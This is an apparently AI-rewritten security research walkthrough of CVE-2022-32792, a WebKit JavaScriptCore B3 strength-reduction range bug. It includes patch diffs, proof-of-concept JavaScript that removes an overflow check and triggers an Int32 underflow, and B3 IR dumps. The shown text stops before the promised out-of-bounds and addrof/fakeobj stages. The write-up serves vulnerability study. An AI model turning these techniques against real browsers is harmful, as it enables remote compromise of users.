Skip to content
Memory corruption Write-up Advanced

Step-by-Step Walkthrough of CVE-2022-32792 - WebKit B3ReduceStrength Out-of-Bounds Write

The B3 compiler's range analysis for sign-extension operations incorrectly assumed the integer range stayed the same, so an underflow check could be removed and an out-of-bounds array access became possible. The write-up shows how to turn this into an out-of-bounds read crash and then build addrof/fakeobj primitives.

Daniel Lim Wee Soong Follow

Published on starlabs.sg

Recently, ZDI released the advisory for a Safari out-of-bounds write vulnerability exploited by Manfred Paul (@manfp) in Pwn2Own. We decided to take a look at the patch and try to exploit it.

Daniel Lim Wee Soong (@daniellimws) & Đỗ Minh Tuấn (@tuanit96), on starlabs.sg

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

Context

This is a walkthrough of CVE-2022-32792, a Safari out-of-bounds write in WebKit's JavaScriptCore (JSC). The advisory was released by ZDI, and the bug was exploited by Manfred Paul (@_manfp) in Pwn2Own. The write-up looks at the patch and works towards an exploit.

The vulnerable component is the B3 compiler backend used by the FTL JIT. JSC has four tiers of execution:

  • Interpreter (no JIT)
  • BaseLine JIT (very simple, just a 1-1 mapping of some bytecodes to assembly)
  • DFG JIT (dataflow graph)
  • FTL JIT (faster than light)

The JIT uses several intermediate representations, from higher to lower level:

  • DFG IR (used by the DFG JIT)
  • DFG SSA IR (DFG converted to SSA form to allow more textbook optimisations, used in FTL)
  • B3 (BareBones Backend, lower than DFG, dropping away all JS semantics to allow for more optimisations, used in FTL)
  • Air (Assembly IR, very close to assembly, used in FTL)

The patch touches one of the B3 optimisation phases in the FTL pipeline, the Reduce Strength phase.

Strength reduction is a compiler optimisation where expensive operations are replaced with equivalent but less expensive ones. The classic example converts multiplications inside a loop into additions. b3/B3ReduceStrength.cpp contains many such optimisations, almost 3k lines of them. A simple example from the file:

C++
            // Turn this: Add(value, zero)
            // Into an Identity.
            //
            // Addition is subtle with doubles. Zero is not the neutral value, negative zero is:
            //    0 + 0 = 0
            //    0 + -0 = 0
            //    -0 + 0 = 0
            //    -0 + -0 = -0
            if (m_value->child(1)->isInt(0) || m_value->child(1)->isNegativeZero()) {
                replaceWithIdentity(m_value->child(0));
                break;
            }

A more complex example:

C++
        case Sub:
            // Turn this: Sub(BitXor(BitAnd(value, mask1), mask2), mask2)
            // Into this: SShr(Shl(value, amount), amount)
            // Conditions:
            // 1. mask1 = (1 << width) - 1
            // 2. mask2 = 1 << (width - 1)
            // 3. amount = datasize - width
            // 4. 0 < width < datasize
            if (m_value->child(0)->opcode() == BitXor
                && m_value->child(0)->child(0)->opcode() == BitAnd
                && m_value->child(0)->child(0)->child(1)->hasInt()
                && m_value->child(0)->child(1)->hasInt()
                && m_value->child(1)->hasInt()) {
                uint64_t mask1 = m_value->child(0)->child(0)->child(1)->asInt();
                uint64_t mask2 = m_value->child(0)->child(1)->asInt();
                uint64_t mask3 = m_value->child(1)->asInt();
                uint64_t width = WTF::bitCount(mask1);
                uint64_t datasize = m_value->child(0)->child(0)->type() == Int64 ? 64 : 32;
                bool isValidMask1 = mask1 && !(mask1 & (mask1 + 1)) && width < datasize;
                bool isValidMask2 = mask2 == mask3 && ((mask2 << 1) - 1) == mask1;
                if (isValidMask1 && isValidMask2) {
                    Value* amount = m_insertionSet.insert<Const32Value>(m_index, m_value->origin(), datasize - width);
                    Value* shlValue = m_insertionSet.insert<Value>(m_index, Shl, m_value->origin(), m_value->child(0)->child(0)->child(0), amount);
                    replaceWithNew<Value>(SShr, m_value->origin(), shlValue, amount);
                    break;
                }
            }

SExt is the short form of sign extension. There are three variants: SExt8, SExt16 and SExt32. All perform sign extension on a value to 64 bits, and the number is the bit width of the original value. For example, SExt8 extends 0xfa to 0xfffffffffffffffa, and SExt16 extends 0xf7b2 to 0xfffffffffffff7b2.

Setup

The write-up works from the patch commit and a debug build of jsc. The commands shown use a debug build of jsc:

Shell
> ~/webkit-2.36.3/WebKitBuild/Debug/bin/jsc --dumpDisassembly=true --useConcurrentJIT=false ./poc2.js 2> poc2.log

The researchers added dataLogLn statements to B3ReduceStrength.cpp to observe the internal state of the optimisation phase. The patch itself is:

Diff
From [redacted] Mon Sep 17 00:00:00 2001
From: Mark Lam <[email protected]>
Date: Fri, 20 May 2022 18:33:04 +0000
Subject: [PATCH] Refine B3ReduceStrength's range for sign extension
 operations. https://bugs.webkit.org/show_bug.cgi?id=240720
 <rdar://problem/93536782>

Reviewed by Yusuke Suzuki and Keith Miller.

* Source/JavaScriptCore/b3/B3ReduceStrength.cpp:

Canonical link: https://commits.webkit.org/250808@main

The patch creates a new function, IntRange::sExt, used to decide the integer range after a sign extension operation in rangeFor. Before the patch, the program assumed the range stays the same after sign extension. That is incorrect and can result in wrongly removing an overflow or underflow check.

Finding it

The patch is small. The new function is called from rangeFor:

Diff
     IntRange rangeFor(Value* value, unsigned timeToLive = 5)
     {
         if (!timeToLive)
             return IntRange::top(value->type());

         switch (value->opcode()) {
         case Const32:
         case Const64: {
             int64_t intValue = value->asInt();
             return IntRange(intValue, intValue);
         }
         case BitAnd:
             if (value->child(1)->hasInt())
                 return IntRange::rangeForMask(value->child(1)->asInt(), value->type());
             break;

 		...

         case Add:
             return rangeFor(value->child(0), timeToLive - 1).add(
                 rangeFor(value->child(1), timeToLive - 1), value->type());

 	 	...

         case SExt8:
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int8_t>();
         case SExt16:
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int16_t>();
         case SExt32:
-            return rangeFor(value->child(0), timeToLive - 1);
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int32_t>();
 	 }

rangeFor returns an IntRange and behaves like a constructor, creating an IntRange from a Value. There are two other static functions of IntRange: rangeForMask, called when value->opcode() == BitAnd, and rangeForZShr, called when value->opcode() == ZShr.

A Value has these fields, taking a = b + c as an example:

  • opcode: the DFG opcode used to generate the value. a has Add.
  • child: the other Value(s) used to generate the value. a has b and c.
  • type: for IntRange, only indicates whether the value is Int32 or Int64.

rangeFor also takes an optional timeToLive:

C++
    IntRange rangeFor(Value* value, unsigned timeToLive = 5)

This is the depth of recursive application on the children. For all opcodes other than Const32, Const64 and BitAnd, rangeFor calls itself recursively:

C++
        case Add:
            return rangeFor(value->child(0), timeToLive - 1).add(
                rangeFor(value->child(1), timeToLive - 1), value->type());
        case Sub:
            return rangeFor(value->child(0), timeToLive - 1).sub(
                rangeFor(value->child(1), timeToLive - 1), value->type());
        case Mul:
            return rangeFor(value->child(0), timeToLive - 1).mul(
                rangeFor(value->child(1), timeToLive - 1), value->type());

It stops when timeToLive is 0:

C++
        if (!timeToLive)
            return IntRange::top(value->type());

top returns the full integer range for the bit width of the Value, as is usual in abstract interpretation:

C++
    template<typename T>
    static IntRange top()
    {
        return IntRange(std::numeric_limits<T>::min(), std::numeric_limits<T>::max());
    }

    static IntRange top(Type type)
    {
        switch (type.kind()) {
        case Int32:
            return top<int32_t>();
        case Int64:
            return top<int64_t>();
        default:
            RELEASE_ASSERT_NOT_REACHED();
            return IntRange();
        }
    }

After five levels the function gives up and returns the full range. It also returns top for an unsupported opcode:

C++
        default:
            break;
        }

        return IntRange::top(value->type());

This happens with a Phi Value, for example:

JavaScript
let a = 10;
if (...) {
	a = 20;
}
let b = a * 2;

Here b has Mul and two children, Phi(Const32(10), Const32(20)) and Const32(2). The first child gets top as its range, although it is known to be [10, 20]. This came up while writing the exploit but is a small issue.

There are two base cases. First, a constant:

C++
        case Const32:
        case Const64: {
            int64_t intValue = value->asInt();
            return IntRange(intValue, intValue);
        }

Second, a BitAnd:

C++
        case BitAnd:
            if (value->child(1)->hasInt())
                return IntRange::rangeForMask(value->child(1)->asInt(), value->type());
            break;
C++
    template<typename T>
    static IntRange rangeForMask(T mask)
    {
        if (!(mask + 1))
            return top<T>();
        if (mask < 0)
            return IntRange(INT_MIN & mask, mask & INT_MAX);
        return IntRange(0, mask);
    }

    static IntRange rangeForMask(int64_t mask, Type type)
    {
        switch (type.kind()) {
        case Int32:
            return rangeForMask<int32_t>(static_cast<int32_t>(mask));
        case Int64:
            return rangeForMask<int64_t>(mask);
        default:
            RELEASE_ASSERT_NOT_REACHED();
            return IntRange();
        }
    }

For a = b & 0x2ffff with b in [0x1337, 0x31337], the new range is [0x1337, 0x21337], because the mask is applied to both ends. These two base cases are important for crafting the conditions that trigger the OOB write.

Before the patch, the SExt case in rangeFor was:

C++
    IntRange rangeFor(Value* value, unsigned timeToLive = 5)
    {
        if (!timeToLive)
            return IntRange::top(value->type());

        switch (value->opcode()) {
        ...
        // this is the code before the patch (so it doesn't call IntRange::sExt)
		case SExt8:
        case SExt16:
        case SExt32:
            return rangeFor(value->child(0), timeToLive - 1);
        ...
		default:
            break;
        }

        return IntRange::top(value->type());
	}

For SExt16(Add(Const32(0x1), BitAnd(..., 0xfff))) in 64 bits, the evaluation is:

  1. SExt16(Add(a, b)), where a is IntRange(1, 1) and b is IntRange(0, 0xfff).
  2. SExt16(IntRange(1, 0x1000)), since Add(a, b) gives [1, 0x1000].
  3. IntRange(1, 0x1000), since sign extending both 16-bit values gives the same values.

Like sign extension in x86 assembly, it only has an effect when the MSB is on. So returning the child unchanged looks reasonable, but it is not always correct.

An example of B3 code generated for the POC:

b3      Int32 b@319 = BitAnd(b@12, $1(b@1), D@291)
b3      Int32 b@330 = Add(b@319, $32767(b@727), D@295)
b3      Int32 b@738 = SExt16(b@330, D@302)
b3      Int32 b@743 = Add(b@738, $-32766(b@742), D@306)

What happens to an IntRange

rangeFor is used by checkAdd, checkSub and checkMul. They mostly do the same thing, so the write-up focuses on checkAdd:

C++
// in b3/B3ReduceStrength.cpp
        case CheckAdd: {
            if (replaceWithNewValue(m_value->child(0)->checkAddConstant(m_proc, m_value->child(1))))
                break;

            handleCommutativity();

            if (m_value->child(1)->isInt(0)) {
                replaceWithIdentity(m_value->child(0));
                break;
            }

            IntRange leftRange = rangeFor(m_value->child(0));
            IntRange rightRange = rangeFor(m_value->child(1));
            dataLogLn("CheckAdd overflow check: ", leftRange, " + ", rightRange);
            if (!leftRange.couldOverflowAdd(rightRange, m_value->type())) {        // [2]
                dataLogLn("CheckAdd reduced");
                replaceWithNewValue(                                               // [1]
                    m_proc.add<Value>(Add, m_value->origin(), m_value->child(0), m_value->child(1)));
                break;
            } else {
                dataLogLn("CheckAdd not reduced");
            }
            break;
        }
C++
// in b3/B3ReduceStrength.cpp
    template<typename T>
    bool couldOverflowAdd(const IntRange& other)
    {
        return sumOverflows<T>(m_min, other.m_min)
            || sumOverflows<T>(m_min, other.m_max)
            || sumOverflows<T>(m_max, other.m_min)
            || sumOverflows<T>(m_max, other.m_max);
    }

    bool couldOverflowAdd(const IntRange& other, Type type)
    {
        switch (type.kind()) {
        case Int32:
            return couldOverflowAdd<int32_t>(other);
        case Int64:
            return couldOverflowAdd<int64_t>(other);
        default:
            return true;
        }
    }
C++
// in WTF/wtf
template<typename T, typename... Args> bool sumOverflows(Args... args)
{
    return checkedSum<T>(args...).hasOverflowed();
}

As replaceWithNewValue at [1] shows, the CheckAdd is replaced with an Add. The difference is the overflow check after the addition: CheckAdd checks, Add does not. The replacement is allowed when couldOverflowAdd returns false at [2]. This is the common pattern of wrong range assumptions behind existing JIT bugs. The IntRange is only used for checks like couldOverflowAdd and discarded later; it is not part of the generated IR or later optimisation phases. CheckSub and CheckMul follow the same pattern.

A search shows IntRange is only created in rangeFor, and there is a comment in the file:

C++
// FIXME: This IntRange stuff should be refactored into a general constant propagator. It's weird
// that it's just sitting here in this file.
class IntRange {
public:
    IntRange()
    {
    }
private:
    int64_t m_min { 0 };
    int64_t m_max { 0 };
};

The patch

The patch adds sExt, used when rangeFor is called with a SExt instruction:

C++
    template<typename T>
    IntRange sExt()
    {
        ASSERT(m_min >= INT32_MIN);
        ASSERT(m_max <= INT32_MAX);
        int64_t typeMin = std::numeric_limits<T>::min();
        int64_t typeMax = std::numeric_limits<T>::max();
        auto min = m_min;
        auto max = m_max;

        if (typeMin <= min && min <= typeMax
            && typeMin <= max && max <= typeMax)
            return IntRange(min, max);

        // Given type T with N bits, signed extension will turn bit N-1 as
        // a sign bit. If bits N-1 upwards are identical for both min and max,
        // then we're guaranteed that even after the sign extension, min and
        // max will still be in increasing order.
        //
        // For example, when T is int8_t, the space of numbers from highest to
        // lowest are as follows (in binary bits):
        //
        //      highest     0 111 1111  ^
        //                    ...       |
        //            1     0 000 0001  |   top segment
        //            0     0 000 0000  v
        //
        //           -1     1 111 1111  ^
        //           -2     1 111 1110  |   bottom segment
        //                    ...       |
        //       lowest     1 000 0000  v
        //
        // Note that if we exclude the sign bit, the range is made up of 2 segments
        // of contiguous increasing numbers. If min and max are both in the same
        // segment before the sign extension, then min and max will continue to be
        // in a contiguous segment after the sign extension. Only when min and max
        // spans across more than 1 of these segments, will min and max no longer
        // be guaranteed to be in a contiguous range after the sign extension.
        //
        // Hence, we can check if bits N-1 and up are identical for the range min
        // and max. If so, then the new min and max can be be computed by simply
        // applying sign extension to their original values.

        constexpr unsigned numberOfBits = countOfBits<T>;
        constexpr int64_t segmentMask = (1ll << (numberOfBits - 1)) - 1;
        constexpr int64_t topBitsMask = ~segmentMask;
        int64_t minTopBits = topBitsMask & min;
        int64_t maxTopBits = topBitsMask & max;

        if (minTopBits == maxTopBits)
            return IntRange(static_cast<int64_t>(static_cast<T>(min)), static_cast<int64_t>(static_cast<T>(max)));

        return top<T>();
    }

The problem, per the comment, is that the IntRange can stop being contiguous, which is problematic. A simple example of a non-contiguous range is [10, 1]. Before the patch, rangeFor was effectively a no-op on SExt, an identity on the child. That can give false information to CheckAdd/CheckSub/CheckMul, where the check should be kept but is dropped. Since these three only check for overflow, the bug should be related to an overflow.

IntRange::sExt does one of three things:

  1. Nothing, when min and max are within the target type's min and max. The target can be 32-bit or 64-bit, while min and max are 64-bit values.
  2. Applies sign extension to min and max, when they have the same top bits.
  3. Returns top, when the top bits differ.

All values are stored as 64-bit integers internally. Scenarios 1 and 2 look normal. The attention given to scenario 3 suggests the bug occurs when min and max have different top bits. The comment says min and max may no longer be in increasing order, i.e. min > max. That could happen if an IntRange with 16-bit values is passed to SExt8.

Sign extension in sExt is done with static_cast<T> then static_cast<int64_t>, where T is int8_t or int16_t for SExt8 and SExt16. A small C program was used to test the behaviour:

C++
#include <iostream>
#include <climits>
using namespace std;

template<typename T>
void print(int64_t min, int64_t max)
{
	printf("%lx %lx\n",
		static_cast<int64_t>(static_cast<T>(min)),
		static_cast<int64_t>(static_cast<T>(max))
	);
}

int main() {
	// your code goes here
	print<int8_t>(0x110, 0x180);

	return 0;
}
output:
10 ffffffffffffff80

Exploitation

Step 1: the wrong range

Try SExt8(IntRange(0x7f, 0x80)). Before the patch, the expected and actual ranges (stored as 32-bit values) are:

  • Expected (wrongly modelled before the patch): [0x7f, 0x80], decimal [127, 128]
  • Reality (correctly modelled after the patch): [0x7f, 0xffffff80], decimal [127, -128]

The range is already modelled wrongly. In actual execution the range is not [127, 128]. The other range [127, -128] does not make sense either; it should be written [-128, 127]. It is kept as [127, -128] to highlight the problem.

Adding a large negative constant 0x80000000, represented as [0x80000000, 0x80000000], gives:

  • Expected: [8000007f, 80000080], decimal [-2147483521, -2147483520]
  • Reality: [8000007f, 7fffff80], decimal [-2147483521, 2147483520]

An experiment on ideone:

C++
#include <iostream>
using namespace std;

int main() {
	int a = 0x80000000;
	int b = a + 0x7f;
	int c = a + 0x80;
	int d = 0xffffff80;
	int e = a + d;
	printf("%x\t%d\n%x\t%d\n%x\t%d\n%x\t%d\n%x\t%d\n",
		a,a,
		b,b,
		c,c,
		d,d,
		e,e);
	return 0;
}
80000000	-2147483648
8000007f	-2147483521
80000080	-2147483520
ffffff80	-128
7fffff80	2147483520        (80000000+7fffff80)

The conditions for an overflow are positive + positive = negative and negative + negative = positive. There is never an overflow for positive + negative or negative + positive. In the expected case (the wrong model before the patch), both positive values are added with a negative constant, so the optimisation thinks no overflow occurs and removes the overflow check by turning CheckAdd into Add. In reality (the correct model after the patch), max is negative, and adding it to a large negative constant can overflow, specifically underflow.

Concretely: an input expected in [0x7f, 0x80] gets a SExt16, then a constant 0x80000000 is added. With input 0x80, Add(SExt16(0x80), 0x80000000):

  1. SExt16(0x80) = 0xffffff80
  2. Add(0xffffffff80, 0x80000000) = 0x7fffff80 (underflowed)

Step 2: making the range in JS

The constant is easy. To make rangeFor expect [0x7f, 0x80]:

  1. Make [0, 1] with BitAnd(x, 1), which calls IntRange::rangeForMask with mask 0x1, giving min 0 and max 1.
  2. Add Const32(0x7f) to the result.
  3. Apply SExt8/SExt16.

Step 3: generating SExt

Searching for SExt8/SExt16 in the codebase, b3/B3Opcode.h has:

C++
inline Opcode signExtendOpcode(Width width)
{
    switch (width) {
    case Width8:
        return SExt8;
    case Width16:
        return SExt16;
    default:
        RELEASE_ASSERT_NOT_REACHED();
        return Oops;
    }
}

But signExtendOpcode is only used in b3/B3LowerMacros.cpp for Atomic-related instructions, so it is not the first place to look.

Another place SExt8 is generated, in b3/B3EliminateCommonSubexpressions.cpp:

C++
        case Load8S: {
            handleMemoryValue(
                ptr, range,
                [&] (MemoryValue* candidate) -> bool {
                    return candidate->offset() == offset
                        && (candidate->opcode() == Load8S || candidate->opcode() == Store8);
                },
                [&] (MemoryValue* match, Vector<Value*>& fixups) -> Value* {
                    if (match->opcode() == Store8) {
                        Value* sext = m_proc.add<Value>(
                            SExt8, m_value->origin(), match->child(0));
                        fixups.append(sext);
                        return sext;
                    }
                    return nullptr;
                });
            break;
        }

This looks complex and was skipped.

In b3/B3ReduceStrength.cpp itself there are strength-reducing optimisations for SShr (arithmetic right shift):

C++
        case SShr:
            // Turn this: SShr(constant1, constant2)
            // Into this: constant1 >> constant2
            if (Value* constant = m_value->child(0)->sShrConstant(m_proc, m_value->child(1))) {
                replaceWithNewValue(constant);
                break;
            }

            if (m_value->child(1)->hasInt32()
                && m_value->child(0)->opcode() == Shl
                && m_value->child(0)->child(1)->hasInt32()
                && m_value->child(1)->asInt32() == m_value->child(0)->child(1)->asInt32()) {
                switch (m_value->child(1)->asInt32()) {
                case 16:
                    if (m_value->type() == Int32) {
                        // Turn this: SShr(Shl(value, 16), 16)
                        // Into this: SExt16(value)
                        replaceWithNewValue(
                            m_proc.add<Value>(
                                SExt16, m_value->origin(), m_value->child(0)->child(0)));
                    }
                    break;

                case 24:
                    if (m_value->type() == Int32) {
                        // Turn this: SShr(Shl(value, 24), 24)
                        // Into this: SExt8(value)
                        replaceWithNewValue(
                            m_proc.add<Value>(
                                SExt8, m_value->origin(), m_value->child(0)->child(0)));
                    }
                    break;

                case 32:
                    if (m_value->type() == Int64) {
                        // Turn this: SShr(Shl(value, 32), 32)
                        // Into this: SExt32(Trunc(value))
                        replaceWithNewValue(
                            m_proc.add<Value>(
                                SExt32, m_value->origin(),
                                m_insertionSet.insert<Value>(
                                    m_index, Trunc, m_value->origin(),
                                    m_value->child(0)->child(0))));
                    }
                    break;

                // FIXME: Add cases for 48 and 56, but that would translate to SExt32(SExt8) or
                // SExt32(SExt16), which we don't currently lower efficiently.

                default:
                    break;
                }

So SShr(Shl(value, 16), 16) creates a SExt16, which in JS is (a << 16) >> 16.

Step 4: generating CheckAdd and SShr

CheckAdd is generated by speculateAdd in flt/FTLOutput.cpp:

C++
CheckValue* Output::speculateAdd(LValue left, LValue right)
{
    return m_block->appendNew<B3::CheckValue>(m_proc, B3::CheckAdd, origin(), left, right);
}

In ftl/FTLLowerDFGToB3.cpp there are seven sites calling speculateAdd, narrowed to two whose children are user-controlled: compileArithAddOrSub and compileGetMyArgumentByVal. FTLLowerDFGToB3 lowers DFG SSA IR to B3 IR. compileArithAddOrSub handles ArithAdd/ArithSub DFG nodes, generated by a normal + or - in JS. compileGetMyArgumentByVal deals with the arguments object. The former is simpler, so the write-up focused on it: a = b + c in JS should make B3 emit CheckAdd.

The shifts are generated in ftl/FTLOutput.cpp too:

C++
LValue Output::shl(LValue left, LValue right)
{
    right = castToInt32(right);
    if (Value* result = left->shlConstant(m_proc, right)) {
        m_block->append(result);
        return result;
    }
    return m_block->appendNew<B3::Value>(m_proc, B3::Shl, origin(), left, right);
}

LValue Output::aShr(LValue left, LValue right)
{
    right = castToInt32(right);
    if (Value* result = left->sShrConstant(m_proc, right)) {
        m_block->append(result);
        return result;
    }
    return m_block->appendNew<B3::Value>(m_proc, B3::SShr, origin(), left, right);
}

So a = b << c or a = b >> c should emit Shl/SShr.

Step 5: observing the ranges

dataLogLn statements were added to see the internal state:

Diff
Index: Source/JavaScriptCore/b3/B3ReduceStrength.cpp
===================================================================
--- Source/JavaScriptCore/b3/B3ReduceStrength.cpp       (revision 295779)
+++ Source/JavaScriptCore/b3/B3ReduceStrength.cpp       (working copy)
@@ -422,8 +422,11 @@
             m_changedCFG = false;
             ++index;

-            if (first)
+            if (first) {
                 first = false;
+                dataLogLn("B3ReduceStrength start");
+                // dataLogLn(m_proc);
+            }
             else if (B3ReduceStrengthInternal::verbose) {
                 dataLog("B3 after iteration #", index - 1, " of reduceStrength:\n");
                 dataLog(m_proc);
@@ -2121,10 +2124,14 @@

             IntRange leftRange = rangeFor(m_value->child(0));
             IntRange rightRange = rangeFor(m_value->child(1));
+            dataLogLn("CheckAdd overflow check: ", leftRange, " + ", rightRange);
             if (!leftRange.couldOverflowAdd(rightRange, m_value->type())) {
+                dataLogLn("CheckAdd reduced");
                 replaceWithNewValue(
                     m_proc.add<Value>(Add, m_value->origin(), m_value->child(0), m_value->child(1)));
                 break;
+            } else {
+                dataLogLn("CheckAdd not reduced");
             }
             break;
         }
@@ -2148,10 +2155,14 @@

             IntRange leftRange = rangeFor(m_value->child(0));
             IntRange rightRange = rangeFor(m_value->child(1));
+            dataLogLn("CheckSub overflow check: ", leftRange, " + ", rightRange);
             if (!leftRange.couldOverflowSub(rightRange, m_value->type())) {
+                dataLogLn("CheckSub reduced");
                 replaceWithNewValue(
                     m_proc.add<Value>(Sub, m_value->origin(), m_value->child(0), m_value->child(1)));
                 break;
+            } else {
+                dataLogLn("CheckSub not reduced");
             }
             break;
         }
@@ -2716,13 +2727,17 @@
     // analysis.
     IntRange rangeFor(Value* value, unsigned timeToLive = 5)
     {
+
         if (!timeToLive)
             return IntRange::top(value->type());
+
+        dataLogLn("rangeFor const (", timeToLive, "): ", value->opcode());

         switch (value->opcode()) {
         case Const32:
         case Const64: {
             int64_t intValue = value->asInt();
+            dataLogLn("rangeFor const: ", intValue);
             return IntRange(intValue, intValue);
         }

@@ -2766,8 +2781,11 @@

         case SExt8:
         case SExt16:
-        case SExt32:
-            return rangeFor(value->child(0), timeToLive - 1);
+        case SExt32: {
+            IntRange res = rangeFor(value->child(0), timeToLive - 1);
+            dataLogLn("rangeFor (SExt): ", "[", res.min(), ", ", res.max(), "]");
+            return res;
+        }

         case ZExt32:
             return rangeFor(value->child(0), timeToLive - 1).zExt32();

Consider this program:

JavaScript
// poc2.js
function foo(a) {
    // let arr = [1, 2, 3];
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    if (a < 2) print(a, " ", lhs)
    return lhs - rhs;
}

noInline(foo);

function main() {
    for (var i = 0; i < 1e6; ++i) {
        var result = foo(i);
    }
    print(foo(0))
    print(foo(1))
}

noDFG(main)
main()

Running it:

Shell
> ~/webkit-2.36.3/WebKitBuild/Debug/bin/jsc --dumpDisassembly=true --useConcurrentJIT=false ./poc2.js 2> poc2.log
0   32767
1   -32768

So in reality the range is [-32768, 32767], but rangeFor thinks it is:

rangeFor (SExt): [32767, 32768]

That is a correctness issue. To turn it into a vulnerability, the missing overflow check has to be abused into an OOB access.

The line in foo breaks down as:

  1. & 1: BitAnd, range [0, 1]
  2. + 0x7fff: Add, range [0x7fff, 0x8000]
  3. << 16) >> 16: Shl followed by Shr, strength-reduced into SExt16

The a|0 tells the compiler to use a as a 32-bit integer. Otherwise it may treat it as 64-bit or a Double if it decides 32-bit is too small and may overflow. Keeping everything in 32-bit was very important:

  • 64-bit: workable, but overflowing a 64-bit number requires adding or subtracting a massive 64-bit number. JS Numbers only have 52 bits, so making a 64-bit number is not straightforward, and JSC may treat a large 64-bit number as a Double.
  • Double: not fine. Once the value is a Double, there is no overflow anymore.

Step 6: confirming the underflow

If lhs is subtracted by a very large number it can underflow, because the CheckAdd became an Add and the overflow check is gone. B3 likes to convert subtractions into additions of negative numbers. The values must be treated as Int32.

JavaScript
function foo(a) {
    // let arr = [1, 2, 3];
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    let rhs = -(0x80000000-5);    // just an arbitrary very negative constant

    if (a < 2) {
        print("a: ", a)
        print("lhs: ", lhs)
        print("rhs: ", describe(rhs));
        print("result by print(describe(lhs+rhs)): ", describe(lhs + rhs));
        print("");
    }
    // idx += -0x7ffffff9;
    return lhs + rhs;
}

noInline(foo);

function main() {
	print("===    Before JIT    ===")
    for (var i = 0; i < 1e6; ++i) {
        var result = foo(i);
    }
    print("=== foo(0) after JIT ===")
    print("result as return value: ", describe(foo(0)))

    print("=== foo(1) after JIT ===")
    print("result as return value: ", describe(foo(1)))
}

noDFG(main)
main()
===    Before JIT    ===
a:  0
lhs:  32767
rhs:  Int32: -2147483643
result not as return value:  Int32: -2147450876

a:  1
lhs:  -32768
rhs:  Int32: -2147483643
result not as return value:  Double: -4476577960897282048, -2147516411.000000

=== foo(0) after JIT ===
a:  0
lhs:  32767
rhs:  Int32: -2147483643
result by print(describe(lhs+rhs)):  Int32: -2147450876

result as return value:  Int32: -2147450876
=== foo(1) after JIT ===
a:  1
lhs:  -32768
rhs:  Int32: -2147483643
result by print(describe(lhs+rhs)):  Int32: 2147450885

result as return value:  Double: -4476577960897282048, -2147516411.000000

For foo(1) after JIT, the result of the subtraction (via print(describe(lhs + rhs)), not the return value) is an Int32 that has underflowed: both lhs and rhs are negative but the result is positive. When returning the value, it was converted to a Double. For foo(0) after JIT, the result was consistently Int32 both as a return value and when printed.

The B3 code for return lhs + rhs:

--- lhs ---
b3  BB#3: ; frequency = 1.000000
b3    Predecessors: #0
...
b3      Int32 b@174 = BitAnd(b@99, $1(b@173), D@33)
b3      Int32 b@184 = Const32(32767, D@36)
b3      Int32 b@185 = Add(b@174, $32767(b@184), D@37)
b3      Int32 b@27 = SExt16(b@185, D@44)
b3      Int32 b@227 = Const32(2, D@50)
b3      Int32 b@228 = LessThan(b@99, $2(b@227), D@51)
b3      Void b@232 = Branch(b@228, Terminal, D@52)
b3    Successors: Then:#3, Else:#5

--- lhs + rhs ---
b3  BB#5: ; frequency = 1.000000
b3    Predecessors: #0, #3
b3      Int64 b@541 = SExt32(b@27, D@31<Int52>)
b3      Int64 b@84 = Const64(-2147483643, D@27<Int52>)
b3      Int64 b@545 = Add(b@541, $-2147483643(b@84), D@77<Int52>)
b3      Int32 b@555 = Trunc(b@545, D@26)
b3      Int64 b@556 = SExt32(b@555, D@26)
b3      Int32 b@557 = Equal(b@545, b@556, D@26)
...
b3      Void b@558 = Branch(b@557, Terminal, D@26)
b3    Successors: Then:#6, Else:#7
b3  BB#6: ; frequency = 1.000000
b3    Predecessors: #5
b3      Int64 b@559 = ZExt32(b@555, D@26)
b3      Int64 b@560 = Add(b@559, $-562949953421312(b@14), D@26)
...
b3      Void b@526 = Return(b@560, Terminal, D@69)
b3  BB#7: ; frequency = 1.000000
b3    Predecessors: #5
b3      Double b@563 = IToD(b@545, D@26)
b3      Int64 b@564 = BitwiseCast(b@563, D@26)
b3      Int64 b@425 = Sub(b@564, $-562949953421312(b@14), D@26)
b3      Int64 b@5 = Identity(b@425, D@26)
...
b3      Void b@503 = Return(b@5, Terminal, D@69)

There is no CheckAdd, only a plain Add in b@545, which is responsible for lhs+rhs. It should have been CheckAdd because an underflow is possible. Breaking it down:

  • BB#3 creates lhs with BitAnd, Add and SExt16.
  • BB#5 adds the large negative constant (b@84) to lhs (b@545). It checks whether the result takes more than 32 bits (b@555 Trunc, b@556 SExt32, b@557 Equal). Although CheckAdd was reduced to Add, the compiler now suspects the result may need up-casting.
  • BB#6: if 32-bit is enough, add the constant 0xfffe000000000000 (b@560 Add) and return it (b@560 Return). This constant encodes the raw 32-bit integer into a JSValue (NaN-boxing).
  • BB#7: if 32-bit is not enough, turn it into a Double and return it. This is the path to avoid.

Step 7: investigating the two representations

This part is not relevant to the bug but documents a problematic situation. The observations were not needed for the exploit.

A similar program stores lhs + rhs into res before calling describe:

JavaScript
function foo(a) {
    // let arr = [1, 2, 3];
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    let rhs = -(0x80000000-1-4);
    let res = lhs + rhs;

    if (a < 2) {
        print("a: ", a)
        print("lhs: ", lhs)
        print("rhs: ", describe(rhs));
        print("result not as return value: ", describe(res));
        print("");
    }
    return res;
}
=== foo(1) after JIT ===
a:  1
lhs:  -32768
rhs:  Int32: -2147483643
result not as return value:  Double: -4476577960897282048, -2147516411.000000

result as return value:  Double: -4476577960897282048, -2147516411.000000

This time describe(res) also says res is a Double. So lhs + rhs itself is an Int32 that has underflowed, but res = lhs + rhs converts the value to a Double. The former is a 32-bit value, the latter 64-bit.

➜  cve-2022-32792-b3-strength-reduce gdb -q
(gdb) p/x -2147483643-32768
$1 = 0x7fff8005

➜  cve-2022-32792-b3-strength-reduce python3
Python 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> -2147483643-32768
-2147516411

The Trunc>SExt32>Equal>Branch pattern appears again, checking whether the value to store takes more than 32 bits and converting to a Double if so:

b3      Int64 b@545 = Add(b@541, $-2147483643(b@84), D@77<Int52>)
